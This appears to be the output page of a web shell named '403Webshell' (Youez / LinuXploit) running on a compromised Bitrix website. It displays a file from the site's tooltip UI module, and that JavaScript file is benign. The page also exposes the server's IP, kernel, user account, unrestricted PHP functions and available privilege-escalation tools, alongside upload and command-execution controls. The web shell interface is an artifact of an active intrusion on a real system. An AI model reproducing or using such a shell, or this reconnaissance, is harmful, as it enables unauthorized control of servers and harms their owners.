403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/tooltip/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/tooltip/src/index.js
import { Browser, Event, Type } from 'main.core';
import { Interceptor } from './intercept';

import { Tooltip } from './tooltip.js';
import { TooltipBalloon } from './balloon.js';

import './css/style.css';

Event.ready(() => {
	if (
		Browser.isAndroid()
		|| Browser.isIOS()
	)
	{
		return;
	}

	Event.bind(document, 'mouseover', (e) => {
		const node = e.target;
		if (!Type.isElementNode(node))
		{
			return;
		}

		const userId = node.getAttribute('bx-tooltip-user-id');
		const loader = node.getAttribute('bx-tooltip-loader');
		const context = node.getAttribute('bx-tooltip-context');

		if (
			Type.isStringFilled(context)
			&& Interceptor.try(context, userId, node)
		)
		{
			return;
		}

		let tooltipId = userId; // don't use integer value!

		if (Type.isStringFilled(loader))
		{
			let loaderHash = 0;

			[...loader].forEach((c, i) => {
				loaderHash = (31 * loaderHash + loader.charCodeAt(i)) << 0;
			});

			tooltipId = loaderHash + userId;
		}

		if (Type.isStringFilled(userId))
		{
			if (null == Tooltip.tooltipsList[tooltipId])
			{
				Tooltip.tooltipsList[tooltipId] = new TooltipBalloon({
					userId: userId,
					node: node,
					loader: loader,
				});
			}
			else
			{
				Tooltip.tooltipsList[tooltipId].node = node;
				Tooltip.tooltipsList[tooltipId].create();
			}

			e.preventDefault();
		}
	});
});

export {
	Tooltip,
	TooltipBalloon,
};

Youez - 2016 - github.com/yon3zu
LinuXploit